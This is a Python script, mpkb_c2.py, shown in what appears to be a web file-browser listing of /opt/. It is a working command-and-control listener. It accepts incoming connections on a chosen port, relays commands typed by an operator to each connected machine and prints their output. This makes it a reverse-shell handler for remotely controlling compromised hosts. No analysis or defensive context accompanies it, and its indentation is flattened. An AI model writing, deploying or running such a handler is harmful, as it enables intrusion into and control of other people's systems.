| Current Path : /opt/ |
| Current File : //opt/mpkb_c2.py |
#!/usr/bin/env python3
import socket
import threading
import sys
import os
import datetime
LISTENERS = {}
def log(msg):
print(f"[{datetime.datetime.now().strftime(\"%H:%M:%S\")}] {msg}")
def handle_client(conn, addr, listener_id):
log(f"[{listener_id}] Connection from {addr}")
try:
while True:
cmd = input(f"{listener_id}> ")
if cmd.lower() in ["exit", "quit"]:
break
conn.sendall((cmd + "\n").encode())
response = conn.recv(4096).decode(errors="ignore")
print(response, end="")
except Exception as e:
log(f"[{listener_id}] Error: {e}")
finally:
conn.close()
log(f"[{listener_id}] Connection closed")
def start_listener(port, listener_id):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("0.0.0.0", port))
server.listen(5)
LISTENERS[listener_id] = server
log(f"[{listener_id}] Listening on port {port}")
while True:
conn, addr = server.accept()
threading.Thread(target=handle_client, args=(conn, addr, listener_id), daemon=True).start()
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 mpkb_c2.py <port>")
sys.exit(1)
start_listener(int(sys.argv[1]), "mpkb")